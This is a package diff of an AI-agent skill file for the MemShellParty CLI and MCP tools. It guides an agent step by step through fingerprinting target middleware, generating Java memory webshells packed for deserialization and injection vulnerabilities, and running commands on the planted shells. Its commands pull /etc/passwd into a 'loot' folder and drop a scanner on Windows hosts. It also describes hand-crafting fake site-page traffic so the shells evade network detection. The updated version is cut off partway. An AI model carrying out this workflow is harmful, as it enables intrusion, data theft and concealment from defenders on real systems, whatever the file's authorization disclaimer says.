memshell-party-cli 0.6.0 → 0.8.0

package/skills/memshell-party/SKILL.md

@@ -1,475 +1,521 @@
----
-name: memshell-party
-description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools), verify deployed shells with `memparty connect`, run commands on them with `memparty exec`, and transfer files with `memparty upload`/`memparty download`. Includes the `mimic` site-mimicking protocol: the agent hand-writes a site profile (`memparty profile init`) so shell traffic blends into real business pages. Use when the user wants to build a Java web memory-shell payload (Godzilla / Behinder / AntSword / Command / Suo5 / NeoreGeorg / Proxy / Custom), probe a target middleware, test that a Godzilla / Behinder / suo5 shell is alive, execute commands on a Godzilla / Behinder shell, or move files through one — for authorized security testing, red-team engagements, or research only.
----
-
-# MemShellParty skill
-
-Generate Java memory shells and probe shells via the MemShellParty backend (`https://party.mem.mk`
-by default, or a self-hosted instance). The same HTTP API powers the `party.mem.mk/ui` web app.
-
-> ⚠️ Authorized testing only. Never generate or deploy a payload against a target you do not own or
-> do not have explicit written permission to test. You are responsible for how these payloads are used.
-
-## How to talk to the tool
-
-Two equivalent interfaces — pick whichever is available:
-
-- **CLI**: `memparty <command> [flags]` (install: `npm install -g memshell-party-cli`, or `npx memshell-party-cli`).
-- **MCP tools** (if the `memshell-party` MCP server is connected): `list_servers`, `list_config`,
-  `list_packers`, `list_command_configs`, `generate_memshell`, `generate_probe`, `parse_classname`,
-  `server_version`, `connect_test`, `exec_command`, `download_file`, `upload_file`, `target_save`,
-  `target_note`, `target_list`, `target_remove`, `log_list`.
-
-The CLI is the source of truth for examples below; MCP tool args mirror the CLI flags
-(`-s/--server` → `server`, `-t/--tool` → `shellTool`, `-y/--type` → `shellType`, `-p/--packer` → `packer`).
-
-## Step 0 — Discover, don't guess
-
-The backend supports ~17 servers, 9 shell tools, dozens of shell types, and 60+ packers. **Never
-hard-code a server/packer name from memory.** Always enumerate first:
-
-```bash
-memparty config servers            # every server + its shell types
-memparty config tools Tomcat       # one server's tools + types
-memparty config packers            # packer parent/child tree
-memparty config command            # Command-tool encryptors & implementation classes
-```
-
-Add `--json` for machine-readable output. Use the exact strings these return.
-
-Sanity-check backend reachability first with `memparty version` (prints the CLI and backend
-versions; over MCP: `server_version`).
-
-## Step 1 — Pick the four core options
-
-Every memory shell needs **server → shell tool → shell type → packer**.
-
-### server
-The target middleware/framework. Match it to the actual target (e.g. `Tomcat`, `Jetty`,
-`SpringWebMvc`, `JBoss`, `WebLogic`, `Undertow`, `Resin`, `Struts2`…). Use `memparty config servers`
-to confirm it's supported. If you only know "it's a Spring Boot app", that's `SpringWebMvc`.
-
-### shell tool (what the memshell does once injected)
-| Tool | Use when |
-|------|----------|
-| `Godzilla` | Godzilla-compatible encrypted webshell (pass + key) |
-| `Behinder` | Behinder ("冰蝎") encrypted webshell (pass) |
-| `AntSword` | AntSword ("蚁剑") webshell (pass) |
-| `Command` | Single command execution / RCE (param name + encryptor) |
-| `Suo5` / `Suo5v2` | SOCKS5 proxy tunnel via Suo5 |
-| `NeoreGeorg` | NeoreGeorg tunneling shell |
-| `Proxy` | Generic proxy (often WebSocket-based) |
-| `Custom` | Your own `.class` bytecode (`--shell-class-file` or `--shell-class-base64`) |
-
-### shell type (where it hooks into the server)
-`Listener`, `Filter`, `Servlet`, `Valve`, `Handler`, `Customizer`… plus `Jakarta*` variants and
-`Agent*` variants. Rules of thumb:
-- **`Jakarta`-prefixed types** → target uses **Jakarta EE** (Servlet 5+, e.g. Tomcat 10+, Spring Boot 3).
-  Non-prefixed → **javax** (Servlet 3/4, Tomcat 9 and below, Spring Boot 2).
-- **`Agent`-prefixed types** → attach via a Java agent (needs the `AgentJar*` packer family, not class bytes).
-- **`WebSocket*` / `Upgrade`** → hijack a WebSocket / HTTP-upgrade endpoint (stealthier; survives fewer
-  filters). `Proxy` tool commonly pairs with `WebSocket` types.
-- Not every tool supports every type — `memparty config tools <server>` shows the legal combinations.
-
-### packer (how to deliver/instantiate the payload)
-The packer must match the **delivery vector** (the vuln you're exploiting). Pick by scenario:
-
-| Scenario / vuln | Packer family (leaf names) |
-|-----------------|----------------------------|
-| Class bytecode, base64 (manual load) | `DefaultBase64`, `Base64URLEncoded`, `GzipBase64` |
-| Drop a JSP file | `JSP`, `ClassLoaderJSP`, `DefineClassJSP`, `JSPX`, … |
-| `Class.forName` / `defineClass` via big int | `BigInteger` |
-| BCEL-encoded classloading | `BCEL` |
-| `TemplatesImpl` (XSLT translet) RCE | `JDKAbstractTransletPacker`, `XalanAbstractTransletPacker`, `OracleAbstractTransletPacker` |
-| Script engine eval (`ScriptEngineManager`) | `ScriptEngine`, `DefaultScriptEngine`, `ScriptEngineBigInteger` |
-| Expression injection | `SpEL`, `OGNL`, `EL`, `MVEL`, `Aviator`, `JEXL`, `JXPath`, `Groovy`, `Velocity`, `Freemarker`, `JinJava`, `BeanShell`, `Rhino` |
-| Java deserialization gadget chain | `JavaCommonsBeanutils19/18/17/16/110`, `JavaCommonsCollections3/4` (under `JavaDeserialize`) |
-| Hessian deserialization | `HessianDeserialize`, `Hessian2Deserialize` (+ `*XSLTScriptEngine` variants) |
-| `XMLDecoder` RCE | `XMLDecoder`, `XMLDecoderScriptEngine`, `XMLDecoderDefineClass` |
-| Java agent attach (needs `Agent*` shell type) | `AgentJar`, `AgentJarWithJDKAttacher`, `AgentJarWithJREAttacher` |
-| H2 DB console / arbitrary JDBC | `H2`, `H2Javac`, `H2JS`, `H2JSURLEncode` |
-| Whole payload as a runnable JAR | `Jar`, `ScriptEngineJar`, `GroovyTransformJar` |
-| XXL-JOB endpoint | `XxlJob` |
-
-> **Aggregate vs leaf packers:** parent packers like `Base64`, `JSP`, `JavaDeserialize`,
-> `AbstractTranslet`, `ScriptEngine`, `OGNL`, `SpEL`… return *several* variants at once
-> (`allPackResults`). For a single payload, pick a **leaf** (child) packer. Run
-> `memparty config packers` to see the parent→child tree.
-
-## Step 2 — Probe (fingerprint first when unsure)
-
-If you don't know the target middleware, generate a **probe** to detect it before committing to a
-memshell. Probes have a strict method × content matrix — only these combos work:
-
-| Method (`-m`) | Supported contents (`-c`) | Extra flags |
-|---------------|---------------------------|-------------|
-| `DNSLog` | `Server`, `JDK` | `--host <dnslog.domain>` |
-| `Sleep` | `Server` only | `--sleep-server <guess> --seconds N` |
-| `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` | `--server <guess> --req-param-name <p>` (Command also takes `--command-template`) |
-
-> `OS`, `BasicInfo` are enum values but **not usable** through any method — don't use them.
-
-```bash
-# Blind: does the target resolve our DNS? Which server is it?
-memparty probe -m DNSLog -c Server -p DefaultBase64 --host xxx.dnslog.cn
-
-# Time-based blind fingerprint (server responds after N seconds if it's --sleep-server)
-memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
-
-# OOB-visible: run a command and echo it into the HTTP response body
-memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name p
-```
-
-The detected server name from a probe is exactly the `server` value to use for `memparty gen`.
-
-## Step 3 — Generate
-
-```bash
-memparty gen -s <server> -t <tool> -y <type> -p <packer> [tool-specific flags] [--jdk <v>]
-```
-
-Common tool-specific flags:
-- Godzilla: `--godzilla-pass`, `--godzilla-key`
-- Behinder: `--behinder-pass`
-- AntSword: `--antsword-pass`
-- Command: `--command-param-name`, `--encryptor RAW|BASE64|DOUBLE_BASE64`, `--implementation-class RuntimeExec|ForkAndExec`, `--command-template`
-- All webshell tools: `--header-name` / `--header-value` (auth header the shell checks)
-- Custom: `--shell-class-file path.class` (or `--shell-class-base64`)
-- Injector: `--url-pattern /*`, `--injector-class-name`, `--no-static-initialize`
-
-Output:
-- payload → **stdout** by default.
-- `-o shell.class` / `-o shell.jar` → auto base64-decodes and writes binary.
-- `--json` → full response (class names, sizes, base64 bytes, config echo) for downstream tooling.
-
-## Step 4 — Verify the shell is alive
-
-Once a shell is injected/uploaded, `memparty connect` does the real protocol handshake and tells
-you whether it works (exit 0/1):
-
-```bash
-memparty connect -u <shell-url> -t godzilla --pass <pass> --key <key>   # defaults pass/key
-memparty connect -u <shell-url> -t behinder --pass <pass>               # default rebeyond
-memparty connect -u <shell-url> -t suo5                                 # add --suo5-mode v2|v1 to force
-```
-
-MemShellParty shells check an auth header — take `headerName`/`headerValue` from the
-`gen --json` output (`shellToolConfig`) and pass them along, or every check fails with an empty
-response (the Suo5v2 shell checks it too):
-
-```bash
-memparty connect -u <shell-url> -t godzilla --pass pass --key key \
-  --header-name User-Agent --header-value <headerValue-from-gen-json>
-```
-
-Over MCP the same check is the `connect_test` tool (`url`, `tool`, `pass`/`key`,
-`headerName`/`headerValue`, `suo5Mode`).
-
-Self-signed TLS → add `-k/--insecure`; extra headers (cookies etc.) → repeatable
-`-H "Name: value"`. Both flags exist on `exec` too (over MCP: `insecure`, `timeoutMs`).
-
-## Step 5 — Execute commands on the shell
-
-Once the handshake passes, `memparty exec` runs a command on a Godzilla / Behinder shell and
-prints the remote stdout+stderr (exit 0/1). Pass the same credentials and gate header as for
-`connect`:
-
-```bash
-memparty exec -u <shell-url> -t godzilla --pass pass --key key \
-  --header-name User-Agent --header-value <headerValue-from-gen-json> \
-  --cmd "whoami"
-memparty exec -u <shell-url> -t behinder --pass rebeyond \
-  --header-name User-Agent --header-value <headerValue-from-gen-json> \
-  --cmd "id"
-```
-
-- Godzilla auto-detects the remote OS via `getBasicsInfo` (one extra request) to pick
-  `cmd.exe /c` vs `/bin/sh -c`; add `--os windows|linux` to skip the detection.
-- Behinder's `Cmd` payload detects the OS itself, so no flag is needed.
-- `--json` returns `{ ok, tool, url, command, output, durationMs }` — preferred for agents.
-
-Over MCP this is the `exec_command` tool (`url`, `tool`, `command`, `pass`/`key`, `os`,
-`headerName`/`headerValue`).
-
-## Step 6 — Transfer files
-
-`memparty upload` / `memparty download` move files through a Godzilla / Behinder shell (the
-real protocol — chunked, with integrity verification: remote size for Godzilla, MD5 for
-Behinder). Same credentials and gate header as `exec`:
-
-```bash
-memparty download -u <shell-url> -t godzilla --pass pass --key key \
-  --header-name User-Agent --header-value <headerValue-from-gen-json> \
-  /etc/passwd -o loot/passwd
-memparty upload web1/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
-```
-
-- Download refuses to overwrite an existing local file unless `--force`; `-o` naming a
-  directory keeps the remote basename; no `-o` means `./<basename>`.
-- Upload overwrites the remote path (truncate + write), max 64 MiB per file; a failed
-  upload warns that the remote file may be partial.
-- Godzilla transfers cap at 2 GiB (payload int limit); downloads are buffered in memory.
-- Non-ASCII remote paths: fine on Behinder as-is. On Godzilla the path is decoded by the
-  server's platform charset — UTF-8 on JDK 18+/Linux; for old JDK (8/11/17) on Chinese
-  Windows pass `--remote-charset GBK` (MCP: `remoteCharset`).
-- `--json` returns `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }` —
-  file bytes never travel over MCP/stdout.
-
-Over MCP these are the `download_file` (`remotePath`, optional `localPath`, `force`) and
-`upload_file` (`localPath`, `remotePath`) tools, plus the usual connection fields. The local
-paths are on the machine running the MCP server.
-
-## Site-mimicking traffic (mimic protocol)
-
-`mimic` is a demo protocol that shapes shell traffic after the target site's own pages:
-requests are browser-style form POSTs; responses are real site pages with the ciphertext
-hidden in a per-shell-unique marker (a JS variable or an HTML comment). The wire codec is
-selectable per profile (`cipher` section: AES/ECB, AES/CBC with random IV, or XOR; base64 /
-base64url / hex; optional key-derived junk tail). **You write the site profile — the CLI
-does not crawl.** That is the point: you can judge which page makes believable cover; a
-regex crawler cannot.
-
-### Workflow
-
-1. **Read the site yourself.** Fetch the homepage and 2-3 representative pages (plus the 404
-   page). Note the page structure, `<title>` style, link paths, Content-Type — and judge what
-   the site's **dominant traffic** looks like: a content site serves mostly HTML documents,
-   an SPA serves mostly JSON XHR, an admin console serves mostly form POSTs.
-2. **Match the dominant traffic first.** Blending in is a statistics game: your requests
-   should be the same *shape* as what the site already serves all day. Today mimic speaks
-   HTML pages only — so on a content site mimic the high-traffic documents (homepage, list
-   pages); on an SPA/API site an HTML skin is the wrong shape (a JSON envelope skin is the
-   planned follow-up), and forcing it makes you *more* visible, not less.
-3. **Scaffold + hand-write the profile:**
-
-   ```bash
-   memparty profile init acme --site http://target:8080
-   ```
-
-   This writes a skeleton to `~/.memparty/profiles/acme.json`. Now **edit that file with your
-   own file tools** — the CLI has no "fill" command; the content is your judgment, not a
-   command's output. Fill in:
-   - `templates`: **one or more** cover pages — the server rotates among them per response,
-     so the traffic doesn't repeat one page's length/hash. 2-4 pages is plenty; pick
-     **high-traffic, self-contained** ones (the pages real users fetch all the time), and
-     paste each HTML **verbatim** — do not "improve" it, real bytes are the whole point.
-     Each entry keeps its own `title` and `contentType`.
-   - With `--dynamic-path`, also probe what the site returns for a **random** path
-     (`curl -i <site>/<random>`): some consoles answer 200 with the login page for *every*
-     unknown path instead of a 404. Your templates should match that default response —
-     a 200 answer from the shell then mirrors the site's own behavior exactly.
-   - `paths`: the site's real path vocabulary, weighted toward the hot prefixes real traffic
-     hits (nav links, sitemap entries — not dead corners), e.g. `["/api/", "/news/", "/app/"]` —
-     first-level dirs, same origin only. Used for `--dynamic-path`.
-   - `request` (optional but recommended): the request's form shape — **one object or an
-     array the client rotates among** (with optional `weight`). `secretField` is the field
-     that carries the ciphertext; `secretIn` is where it rides: `"body"` (default, a form
-     field), `"query"` (a URL parameter) or `"header"`; `fields` are decoys. **Model it on
-     a real form the site already receives** — e.g. a console login POST. Value placeholders:
-     `{{hex:N}}` (N hex), `{{b64:N}}` (N base64url), `{{uuid}}`, `{{ts}}` (unix seconds),
-     `{{int:A:B}}`. Never ship the default `pass=<cipher>` single-field body — a lone
-     `pass=` parameter is a textbook webshell signature.
-   - `cipher` (optional): the wire codec. Fields (all optional, defaults = the legacy
-     format `aes-ecb` + `base64` + `js-var` + no tail):
-     - `algorithm`: `"aes-ecb"` (fixed blocks — same plaintext ⇒ same ciphertext),
-       `"aes-cbc"` (random IV per message — same command encrypts differently every
-       time, the strongest default), `"xor"` (no JCE needed).
-     - `encoding`: `"base64"` | `"base64url"` | `"hex"`.
-     - `padTail`: `true` appends key-derived-length (0-15) random alnum garbage after
-       the encoded ciphertext — Behinder's `aes_with_magic` trick against length
-       signatures. Costs nothing, turn it on.
-     - `marker`: `"js-var"` (`var Re<md5(pass+key)[0:5]>_config="..."`) or
-       `"html-comment"` (`<!--Re..._config:...-->`) — pick whichever looks more at
-       home in the cover page.
-     ⚠️ The cipher is **baked into the filter at build time**. Editing `cipher` in the
-     profile afterwards desynchronizes client and server — rebuild + re-inject.
-4. **Use it:**
-
-   ```bash
-   memparty connect -u http://target/ -t mimic --pass <pass> --key <key> \
-     --profile acme --dynamic-path
-   memparty exec acme/mimic --cmd "whoami"   # profile rides along in the saved target
-   ```
-
-### Worked example
-
-Target: a company portal at `http://192.0.2.1:8080` — a classic content site (HTML
-documents dominate; no SPA).
-
-1. Fetch `/` and two linked pages. Observations: every page shares the same header/footer;
-   `/news/` is linked from the nav and returns a short self-contained list page; the nav
-   links are `/products/`, `/news/`, `/about/`; everything is `text/html; charset=utf-8`.
-2. `memparty profile init acme --site http://192.0.2.1:8080`.
-3. Edit `~/.memparty/profiles/acme.json` so it reads (template shortened here for display —
-   the real file must contain the page's FULL verbatim HTML):
-
-   ```json
-   {
-     "name": "acme",
-     "site": "http://192.0.2.1:8080",
-     "createdAt": "2026-07-19T08:00:00.000Z",
-     "templates": [
-       {
-         "title": "新闻动态 - ACME 科技",
-         "template": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>...full verbatim HTML...</html>",
-         "contentType": "text/html; charset=utf-8"
-       },
-       {
-         "title": "产品中心 - ACME 科技",
-         "template": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>...another page...</html>",
-         "contentType": "text/html; charset=utf-8"
-       }
-     ],
-     "paths": ["/products/", "/news/", "/about/"],
-     "request": {
-       "secretField": "verCode",
-       "fields": [
-         {"name": "csrftoken", "value": "{{hex:32}}"},
-         {"name": "j_username", "value": "admin"},
-         {"name": "j_password", "value": "{{hex:24}}"},
-         {"name": "agreement", "value": "on"}
-       ]
-     }
-   }
-   ```
-
-   Why these choices: `/news/` over the homepage — equally high-traffic but no carousel
-   JS/images, so no missing sub-request waterfall; two templates so consecutive responses
-   differ in length and bytes; `paths` are exactly the nav links real users click, not
-   guessed words; the `request` block mirrors the site's own login form, so the shell POST
-   is indistinguishable from someone signing in. (Templates shortened here for display —
-   the real file must contain each page's FULL verbatim HTML. A legacy single
-   `template`/`title`/`contentType` triple still loads, it just can't rotate.)
-4. Verify it parses, then connect:
-
-   ```bash
-   memparty profile show acme      # schema check happens here too
-   memparty connect -u http://192.0.2.1:8080/ -t mimic --pass s3cr3t --key k3y \
-     --profile acme --dynamic-path
-   # OK   mimic http://192.0.2.1:8080/
-   #      round-trip ok (profile=acme; dynamic path http://192.0.2.1:8080/news/x7q2mzab)
-   ```
-
-### What mimic handles vs. what you decide
-
-- Automatic: the selected codec (key = md5(key)[0:16] for every algorithm), per-shell
-  derived response delimiters, form-body encoding, browser-consistent request headers,
-  credential round-trip on `connect`.
-- Yours: the template page, the path vocabulary, the request pacing. Filter/listener-type
-  memory shells answer on any path, which is what makes `--dynamic-path` legitimate — for a
-  fixed-URL shell just omit the flag.
-- Limits: exec only (no upload/download); request timing/method mix is fixed, so pace your
-  commands like a patient human.
-
-### Server side — `memparty custom build`
-
-The server half is a plain `javax.servlet.Filter` generated FROM the profile and compiled
-locally — one command does the whole chain:
-
-```bash
-memparty custom build --profile acme --server Tomcat
-```
-
-What happens inside:
-
-1. renders `MimicFilter<rand>.java` from the profile (templates, carrier fields, **the
-   `cipher` section is baked in here**) + random `pass`/`key` (or `--pass/--key`);
-2. compiles it with the local JDK (`javac` on PATH, servlet API jar bundled — no other
-   dependency);
-3. submits the class to the MemShellParty backend as `shellTool=Custom`, which wraps it
-   with the injector for `--server` (any server from `memparty config tools` — the filter
-   itself has zero middleware specifics) and packs it with `--packer`
-   (default `DefaultBase64`);
-4. writes an output dir (default `<profile>-build/`): the `.java`/`.class`, one
-   `payload-*.txt` per pack variant, and **`manifest.json`** — the single source of truth
-   for the follow-up (credentials, cipher, class names, ready-made connect command).
-
-Then: inject the payload through your foothold (deserialization RCE `defineClass`, an
-existing shell that evaluates scripts, an agent loader…), and connect with the printed
-command — a successful `connect` auto-saves the target, afterwards
-`memparty exec <host>/mimic --cmd "id"` needs no flags.
-
-Notes that matter:
-
-- **Random class name every build** (`--out` keeps builds apart): a running JVM can't
-  re-define a class, so re-injection NEEDS the fresh name — never reuse one.
-- The printed `--pass/--key` are random per build unless you pin them; they're in
-  `manifest.json`, not in your shell history if you use `--json`.
-- The filter probes carriers with `getParameter()`/`getHeader()` only (never reads the
-  body stream), passes undecryptable values through `chain.doFilter`, and answers errors
-  with the plain cover page — it coexists with the site's real forms and other shells.
-- Filter-type deployment truth learned on a real console: **dynamic path is conditional
-  on the target app's own filters** — probe a random path first, fall back to the fixed
-  working path when the app answers everything itself.
-
-### Reality check before relying on it
-
-Run `memparty demo` once and read the printed request URL and response: the traffic should
-be indistinguishable from a normal page view at a glance. Two ways it still stands out:
-
-- **Missing sub-requests**: if your template page has assets (CSS/JS/images) a real browser
-  would fetch, a NDR notices their absence — prefer self-contained pages.
-- **Volume mismatch**: signature devices look at bodies, but statistical detection looks at
-  baselines — hitting a rarely-used path shape (or HTML on an API site) deviates from it.
-  That is why the dominant-traffic rule above outranks everything else.
-
-## Step 7 — Save targets, switch by name
-
-Flag soup gets old fast. Save each working shell into a **project** (a named group of shells
-with an optional remark and category), then reference it as `<project>/<shell>`:
-
-```bash
-memparty save web1/bh9060 -u <shell-url> -t behinder --pass rebeyond \
-  --header-name User-Agent --header-value <headerValue-from-gen-json> \
-  --remark "内网测试环境" --category test --shell-remark "root 权限"
-memparty list                      # everything, or --category test
-memparty exec web1/bh9060 --cmd "whoami" # no other flags needed
-memparty exec web1 --cmd "id"            # bare project works when it holds one shell
-```
-
-MCP equivalents: `target_save` (project, shell, url, tool, creds, `projectRemark`,
-`projectCategory`, `shellRemark`), `target_list` (optional `category` filter), `target_note`
-(project meta, or a shell's remark when `shell` is given), `target_remove`; then pass
-`name: "<project>/<shell>"` to `connect_test` / `exec_command`.
-The store lives at `~/.memparty/targets.json`.
-
-## Step 8 — Audit with the operation log
-
-Every operation (gen, probe, connect, exec, download, upload, save/note/remove) is appended to
-`~/.memparty/operations.jsonl` — no credentials, no payload bytes, no file contents; exec output
-is truncated.
-Query it to recall what was done against a target:
-
-```bash
-memparty log --category exec --target web1
-```
-
-Over MCP this is the `log_list` tool (`category`, `target`, `limit`). Use it to review past
-actions before repeating them, or to answer "what did we run on this host?".
-
-## Gotchas
-
-- **Jakarta vs javax.** Tomcat 10+ / Spring Boot 3 → `Jakarta*` shell types. Tomcat 9- / Spring Boot 2
-  → non-prefixed. Picking the wrong family = the shell won't load.
-- **JDK target.** `--jdk java6/8/9/11/17/21` (or bare `8`, or raw major `52`). Match (or stay ≤) the
-  target's JDK so the bytecode loads. JDK 9+ auto-enables Java-module bypass unless `--no-bypass-module`.
-- **Spring-gzip packers** (`SpEL`/`OGNL`/`JXPath` + their `*SpringGzip*` / `*JDK17` variants) need a
-  special injector class name — the CLI generates one automatically; don't override
-  `--injector-class-name` for these.
-- **Shrink is on by default** (smaller bytecode). Use `--no-shrink` only if a stripped payload misbehaves.
-- **Aggregate packers** return multiple variants — pick a leaf for a single payload (see Step 1).
-- **Agent memshells** (`Agent*` types) require the `AgentJar*` packer family and a JVM attach; they
-  aren't class-byte payloads.
-- **Backend override.** Default is the public `https://party.mem.mk` (good for trying things, but
-  don't trust payloads from public services in real engagements — self-host with Docker and use
-  `MEMPARTY_API_URL` or `--api`).
-
-## Reverse: parse a class name
-
-Got a `.class` and want its fully-qualified name (e.g. to confirm what you generated or analyze a sample)?
-
-```bash
-memparty parse-classname --file shell.class
-memparty parse-classname <base64-of-class-bytes>
-```
+---
+name: memshell-party
+description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools), verify deployed shells with `memparty connect`, run commands on them with `memparty exec`, and transfer files with `memparty upload`/`memparty download`. Includes the `mimic` site-mimicking protocol: the agent hand-writes a site profile (`memparty profile init`) so shell traffic blends into real business pages. Use when the user wants to build a Java web memory-shell payload (Godzilla / Behinder / AntSword / Command / Suo5 / NeoreGeorg / Proxy / Custom), probe a target middleware, test that a Godzilla / Behinder / suo5 shell is alive, execute commands on a Godzilla / Behinder shell, or move files through one — for authorized security testing, red-team engagements, or research only.
+---
+
+# MemShellParty skill
+
+Generate Java memory shells and probe shells via the MemShellParty backend (`https://party.mem.mk`
+by default, or a self-hosted instance). The same HTTP API powers the `party.mem.mk/ui` web app.
+
+> ⚠️ Authorized testing only. Never generate or deploy a payload against a target you do not own or
+> do not have explicit written permission to test. You are responsible for how these payloads are used.
+
+## How to talk to the tool
+
+Two equivalent interfaces — pick whichever is available:
+
+- **CLI**: `memparty <command> [flags]` (install: `npm install -g memshell-party-cli`, or `npx memshell-party-cli`).
+- **MCP tools** (if the `memshell-party` MCP server is connected): `list_servers`, `list_config`,
+  `list_packers`, `list_command_configs`, `list_shell_tool_configs`, `list_obfuscation_options`, `generate_memshell`, `generate_probe`, `bytecode_decode`, `bytecode_transform`, `parse_classname`,
+  `server_version`, `connect_test`, `exec_command`, `download_file`, `upload_file`, `target_save`,
+  `target_note`, `target_list`, `target_remove`, `log_list`.
+
+The CLI is the source of truth for examples below; MCP tool args mirror the CLI flags
+(`-s/--server` → `server`, `-t/--tool` → `shellTool`, `-y/--type` → `shellType`, `-p/--packer` → `packer`).
+
+## Step 0 — Discover, don't guess
+
+The backend supports ~17 servers, 9 shell tools, dozens of shell types, and 60+ packers. **Never
+hard-code a server/packer name from memory.** Always enumerate first:
+
+```bash
+memparty config servers            # every server + its shell types
+memparty config tools Tomcat       # one server's tools + types
+memparty config packers            # packer parent/child tree
+memparty config command            # Command-tool encryptors & implementation classes
+memparty config tool-configs       # v3+ shell-tool fields & enum choices
+memparty config obfuscation       # v3+ obfuscation options
+```
+
+Add `--json` for machine-readable output. Use the exact strings these return.
+
+Sanity-check backend reachability first with `memparty version` (prints the CLI and backend
+versions; over MCP: `server_version`).
+
+## Step 1 — Pick the four core options
+
+Every memory shell needs **server → shell tool → shell type → packer**.
+
+### server
+The target middleware/framework. Match it to the actual target (e.g. `Tomcat`, `Jetty`,
+`SpringWebMvc`, `JBoss`, `WebLogic`, `Undertow`, `Resin`, `Struts2`…). Use `memparty config servers`
+to confirm it's supported. If you only know "it's a Spring Boot app", that's `SpringWebMvc`.
+
+### shell tool (what the memshell does once injected)
+| Tool | Use when |
+|------|----------|
+| `Godzilla` | Godzilla-compatible encrypted webshell (pass + key) |
+| `GodzillaSession` | v3+ session-backed Godzilla-compatible shell (pass + key) |
+| `Behinder` | Behinder ("冰蝎") encrypted webshell (pass) |
+| `AntSword` | AntSword ("蚁剑") webshell (pass) |
+| `Command` | Single command execution / RCE (param name + encryptor) |
+| `Suo5` | SOCKS5 proxy tunnel (v3 uses the former Suo5v2 protocol) |
+| `NeoreGeorg` | NeoreGeorg tunneling shell |
+| `Proxy` | Generic proxy (often WebSocket-based) |
+| `Custom` | Your own `.class` bytecode (`--shell-class-file` or `--shell-class-base64`) |
+
+### shell type (where it hooks into the server)
+`Listener`, `Filter`, `Servlet`, `Valve`, `Handler`, `Customizer`… plus `Jakarta*` variants and
+`Agent*` variants. Rules of thumb:
+- **`Jakarta`-prefixed types** → target uses **Jakarta EE** (Servlet 5+, e.g. Tomcat 10+, Spring Boot 3).
+  Non-prefixed → **javax** (Servlet 3/4, Tomcat 9 and below, Spring Boot 2).
+- **`Agent`-prefixed types** → attach via a Java agent (needs the `AgentJar*` packer family, not class bytes).
+- **`WebSocket*` / `Upgrade`** → hijack a WebSocket / HTTP-upgrade endpoint (stealthier; survives fewer
+  filters). `Proxy` tool commonly pairs with `WebSocket` types.
+- Not every tool supports every type — `memparty config tools <server>` shows the legal combinations.
+
+### packer (how to deliver/instantiate the payload)
+The packer must match the **delivery vector** (the vuln you're exploiting). Pick by scenario:
+
+| Scenario / vuln | Packer family (leaf names) |
+|-----------------|----------------------------|
+| Class bytecode, base64 (manual load) | `DefaultBase64`, `Base64URLEncoded`, `GzipBase64` |
+| Drop a JSP file | `JSP`, `ClassLoaderJSP`, `DefineClassJSP`, `JSPX`, … |
+| `Class.forName` / `defineClass` via big int | `BigInteger` |
+| BCEL-encoded classloading | `BCEL` |
+| `TemplatesImpl` (XSLT translet) RCE | `JDKAbstractTransletPacker`, `XalanAbstractTransletPacker`, `OracleAbstractTransletPacker` |
+| Script engine eval (`ScriptEngineManager`) | `ScriptEngine`, `DefaultScriptEngine`, `ScriptEngineBigInteger` |
+| Expression injection | `SpEL`, `OGNL`, `EL`, `MVEL`, `Aviator`, `JEXL`, `JXPath`, `Groovy`, `Velocity`, `Freemarker`, `JinJava`, `BeanShell`, `Rhino` |
+| Java deserialization gadget chain | `JavaCommonsBeanutils19/18/17/16/110`, `JavaCommonsCollections3/4` (under `JavaDeserialize`) |
+| Hessian deserialization | `HessianDeserialize`, `Hessian2Deserialize` (+ `*XSLTScriptEngine` variants) |
+| `XMLDecoder` RCE | `XMLDecoder`, `XMLDecoderScriptEngine`, `XMLDecoderDefineClass` |
+| Java agent attach (needs `Agent*` shell type) | `AgentJar`, `AgentJarWithJDKAttacher`, `AgentJarWithJREAttacher` |
+| H2 DB console / arbitrary JDBC | `H2`, `H2Javac`, `H2JS`, `H2JSURLEncode` |
+| Whole payload as a runnable JAR | `Jar`, `ScriptEngineJar`, `GroovyTransformJar` |
+| XXL-JOB endpoint | `XxlJob` |
+
+> **Packer categories vs variants:** on v3, parents like `Base64`, `JSP`, `JavaDeserialize`,
+> `AbstractTranslet`, `ScriptEngine`, `OGNL`, `SpEL`… are only categories. Pick a concrete child.
+> Legacy v2 parents can return several variants (`allPackResults`). Run `memparty config packers`.
+
+## Step 2 — Probe (fingerprint first when unsure)
+
+If you don't know the target middleware, generate a **probe** to detect it before committing to a
+memshell. Probes have a strict method × content matrix — only these combos work:
+
+| Method (`-m`) | Supported contents (`-c`) | Extra flags |
+|---------------|---------------------------|-------------|
+| `DNSLog` | `Server`, `JDK` | `--host <dnslog.domain>` |
+| `Sleep` | `Server` only | `--sleep-server <guess> --seconds N` |
+| `ResponseBody`, `ResponseHeader` | `Server`, `Command`, `Bytecode`, `Filter`, `ScriptEngine` | `--server <guess> --req-param-name <p>` (Command also takes `--command-template`) |
+
+> `OS`, `BasicInfo` are enum values but **not usable** through any method — don't use them.
+> `ResponseHeader` is v3+. Optional `--resp-header-name` controls the response header. With
+> `--server Unknown`, the probe identifies the middleware; set `--req-param-name` and send the
+> same name as a request parameter or header to let it find the live request.
+
+```bash
+# Blind: does the target resolve our DNS? Which server is it?
+memparty probe -m DNSLog -c Server -p DefaultBase64 --host xxx.dnslog.cn
+
+# Time-based blind fingerprint (server responds after N seconds if it's --sleep-server)
+memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
+
+# OOB-visible: run a command and echo it into the HTTP response body
+memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name p
+```
+
+The detected server name from a probe is exactly the `server` value to use for `memparty gen`.
+
+## Step 3 — Generate
+
+```bash
+memparty gen -s <server> -t <tool> -y <type> -p <packer> [tool-specific flags] [--jdk <v>]
+```
+
+Common tool-specific flags:
+- Godzilla / GodzillaSession: `--godzilla-pass`, `--godzilla-key`
+- Behinder: `--behinder-pass`
+- AntSword: `--antsword-pass`
